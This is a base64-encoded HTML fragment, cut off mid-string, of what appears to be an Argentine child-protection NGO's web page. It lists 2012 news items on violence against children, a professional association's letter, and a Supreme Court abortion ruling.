AgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwgQ2VudHJvIEFydCZlYWN1dGU7bWlkZXMgeSBsYSANCk11bmljaXBhbGlkYWQgZGUgQ2lwb2xsZXR0aS5TZSBjZW50cmFyJmFhY3V0ZTsgZW4gbG9zIGZlbiZvYWN1dGU7bWVub3MgcXVlIGFmZWN0YW4gYSBsYSBmYW1pbGlhIHkgZW4gbG8gcXVlIG9jdXJyZSBlbiBsYXMgZXNjdWVsYXMuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjMwLzAzLzIwMTI8L3NwYW4+PGJyPkNhcnRhIGRlIEFTQVBNSSAtIEFzb2NpYWNp824gQXJnZW50aW5hIGRlIFByZXZlbmNp824gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjE1IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSIxNSIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjgwIiBjb2xzcGFuPSI0IiBhbGlnbj0ibGVmdCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Mb3MgaW50ZWdyYW50ZXMgZGUgbGEgQ29taXNpJm9hY3V0ZTtuIERpcmVjdGl2YSBkZSBBU0FQTUkgLSBBc29jaWFjaSZvYWN1dGU7biBBcmdlbnRpbmEgZGUgUHJldmVuY2kmb2FjdXRlO24gZGVsIE1hbHRyYXRvIEluZmFudG8tSnV2ZW5pbCwgYXNvY2lhZGEgYSBsYSBJbnRlcm5hdGlvbmFsIFNvY2lldHkgZm9yIFByZXZlbnRpb24gb2YgQ2hpbGQgQWJ1c2UgYW5kIE5lZ2xlY3QgKElTUENBTikgLSwgdGVuZW1vcyBlbCBhZ3JhZG8gZGUgZGlyaWdpcm5vcyBhIFVzdGVkIHBhcmEgdHJhc21pdGlybGUgbnVlc3RyYSBwcm9mdW5kYSAmbmJzcDt5IGhvbmRhIHByZW9jdXBhY2kmb2FjdXRlO24gcG9yIGxhIHBvc3R1cmEgcXVlIHZpZW5lbiBhc3VtaWVuZG8gZW4gZm9ybWEgY29udGludWFkYSBhbGd1bm9zIGNvbGVnaW9zIGRlIHBzaWMmb2FjdXRlO2xvZ29zLCBlc3BlY2lhbG1lbnRlIGRlIGxhIHByb3ZpbmNpYSBkZSBCdWVub3MgQWlyZXMsIGVuIHJlbGFjaSZvYWN1dGU7biBhbCB0cmF0YW1pZW50byBwb2NvIHNlcmlvIHkgY29tcHJvbWV0aWRvIHF1ZSBzZSBsZXMgb3RvcmdhIGEgbGFzIGRlbnVuY2lhcyBlZmVjdHVhZGFzIGNvbnRyYSBwcm9mZXNpb25hbGVzIHBzaWMmb2FjdXRlO2xvZ29zLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2OCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjAvMDMvMjAxMjwvc3Bhbj48YnI+TEEgVklPTEVOQ0lBIFNFWFVBTCBDT05UUkEgTknRT1MgWSBOSdFBUyBFTiBDSUZSQVM8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkIHdpZHRoPSIxNSIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4MCIgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+UmFkaW9ncmFmJmlhY3V0ZTthIGRlIHVuIHByb2JsZW1hPC9wPg0KPHA+RGUgbG9zIG4mdWFjdXRlO21lcm9zIGNvbXBpbGFkb3MgcG9yIGRvcyBlcXVpcG9zIGRlbCBNaW5pc3RlcmlvIGRlIEp1c3RpY2lhLCBsYQ0KIGF1dG9yYSB0b21hIGxvcyBkZSBsYSBjaXVkYWQgZGUgQnVlbm9zIEFpcmVzIHBhcmEgdHJhemFyIHVuIHBhcmFkaWdtYSANCmRlIGxvcyBkZWxpdG9zIGNvbnRyYSBsYSBpbnRlZ3JpZGFkIHNleHVhbCBlbiBlbCBwYSZpYWN1dGU7cyB5IHNvYnJlIHN1IA0KYXRlbmNpJm9hY3V0ZTtuLjxiciAvPiA8YnIgLz4gJm5ic3A7UG9yIEV2YSBHaWJlcnRpPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI2MCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNjAiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iMjcwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj4KCQkJCTx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgYWxpZ249ImxlZnQiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjE1LzAzLzIwMTI8L3NwYW4+PGJyPkZBTExPIERFIExBIENPUlRFIFNVUFJFTUEgU09CUkUgTEEgTk8gSlVESUNJQUxJWkFDSU9OIERFTCBBQk9SVE8gRU4gQ0FTT1MgREUgVklPTEFDSU9OPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxiciAvPiBKVVJJU0RJQ0NJT046IE5BQ0lPTkFMPGJyIC8+IE1BVEVSSUE6IEFCT1JUTy48YnIgLz4gVFJJQlVOQUw6IENvcnRlIFN1cHJlbWEgZGUgSnVzdGljaWEgZGUgbGEgTmFjaSZvYWN1dGU7bi48YnIgLz4gQVVUT1M6IEYuLCBBLiBMLiBzLyBtZWRpZGEgYXV0b3NhdGlzZmFjdGl2YS48YnIgLz4gRkVDSEE6IDEzLzAzLzIwMTIuPC9wPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTI1OSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18zMy5qcGciIHdpZHRoPSI2NiIgaGVpZ2h0PSIyNyIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0yNTkiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAgIDwvdGFibGU+CgkJCQk8L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBGSU4gbm90YSBjb211biAtLT4KPC90YWJsZT4KPG1hcCBuYW1lPSJNYXBNYXAiIGlkPSJNYXBNYXAiPjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjE0NCw0LDIxNCwzNiIgaHJlZj0iaW5kZXgucGhwP2lkPTE0IiAvPgo8L21hcD4KPG1hcCBuYW1lPSJNYXAyTWFwMiIgaWQ9Ik1hcDJNYXAyIj48YXJlYSBzaGFwZT0icmVjdCIgY29vcm